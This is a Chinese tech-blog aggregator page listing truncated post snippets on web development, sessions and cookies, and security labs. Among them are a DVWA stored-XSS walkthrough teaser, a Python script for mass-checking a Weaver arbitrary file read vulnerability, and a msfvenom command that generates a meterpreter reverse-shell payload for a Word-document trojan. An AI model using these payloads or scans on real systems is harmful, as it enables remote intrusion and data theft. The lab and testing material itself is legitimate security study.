前面我们已经打开了靶机，这就不用在打开了，直接开始吧。 存储型的xss漏洞。 1.low 当我想在name处输入测试代码的时候，却被限制了输入长度，姑在name字段处是无法进行测试了的，就只能在message处进行操作了。 输入最基本的代码， 就会出现xss这个弹窗，可以猜到并没有做任何的过滤。 再 ...
分类：
其他好文 时间：
2021-04-06 14:35:15
阅读次数：
0
概述 HttpSession是由javaWeb提供的，session是服务器对象，保存在服务器端 HttpSession是Servlet三大域对象之一，所以他也有setAttribute(),getAttribute(),removeAttribute() HttpSession底层依赖Cookie ...
分类：
Web程序 时间：
2021-04-05 12:14:19
阅读次数：
0
function asyncExportExcel(fileId){ var loadIndex = ''; var url = jsResPath + "partFileRecord/downloadComResult?fileId="+fileId; //下载文件路径 var xhr=null; ...
分类：
Web程序 时间：
2021-03-31 12:33:06
阅读次数：
0
Vant weapp滑动单元格SwipeCell按钮样式 引用swipeCell组件的页面，index.wxss中添加样式 .van-swipe-cell__left{ width: 130rpx; height: 100%; font-size: 30rpx; color: #fff; text- ...
分类：
移动开发 时间：
2021-03-18 14:37:32
阅读次数：
0
https://www.bilibili.com/video/BV12J411M7Sj 会话 用户打开一个浏览器到关闭浏览器，这个过程可以称之为会话。 有状态会话 客户端再次访问服务端时，服务端知道客户端曾经来过，称之为有状态会话。 保存会话的两种技术 cookie 客户端技术（响应，请求） ses ...
分类：
其他好文 时间：
2021-03-18 14:31:42
阅读次数：
0
python 批量检测泛微云桥任意文件读取漏洞 1.fofa收集目标 fofa搜集目标脚本，使用时替换cookie，生成ip.txt #!/usr/bin/env python #-*- coding:utf-8 _*- import requests from lxml import etree ...
分类：
编程语言 时间：
2021-03-18 14:26:43
阅读次数：
0
环境： win7 64位，word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPORT=1122 -f psh-reflection >x.ps1 ? 放到VPS上，这里我们放到本机搭 ...
分类：
系统相关 时间：
2021-03-18 14:14:35
阅读次数：
0
什么是 Cookie HTTP 是无状态的协议（对于事务处理没有记忆能力，每次客户端和服务端会话完成时，服务端不会保存任何会话信息）：每个请求都是完全独立的，服务端无法确认当前访问者的身份信息，无法分辨上一次的请求发送者和这一次的发送者是不是同一个人。所以服务器与浏览器为了进行会话跟踪（知道是谁在访 ...
分类：
其他好文 时间：
2021-03-17 14:12:42
阅读次数：
0
一 前言 系统执行业务逻辑之前，会对输入数据进行校验，检测数据是否有效合法的。所以我们可能会写大量的if else等判断逻辑，特别是在不同方法出现相同的数据时，校验的逻辑代码会反复出现，导致代码冗余，阅读性和可维护性极差。 鉴于通用性和普遍性，Spring框架提供了validator组件，通过一些校 ...
分类：
其他好文 时间：
2021-03-15 11:18:56
阅读次数：
0
.net core中登录认证的几种方式 第一种、session\cookie+方法过滤器认证 1. 讲解：该认证模式主要的逻辑如下，并且分别在session和cookie中存储相应的值，并且在方法过滤器中进行进行拦截验证。 登录的逻辑应该是 session中存储用户的主要信息 key：guid类型 ...
分类：
Web程序 时间：
2021-03-11 20:37:14
阅读次数：
0
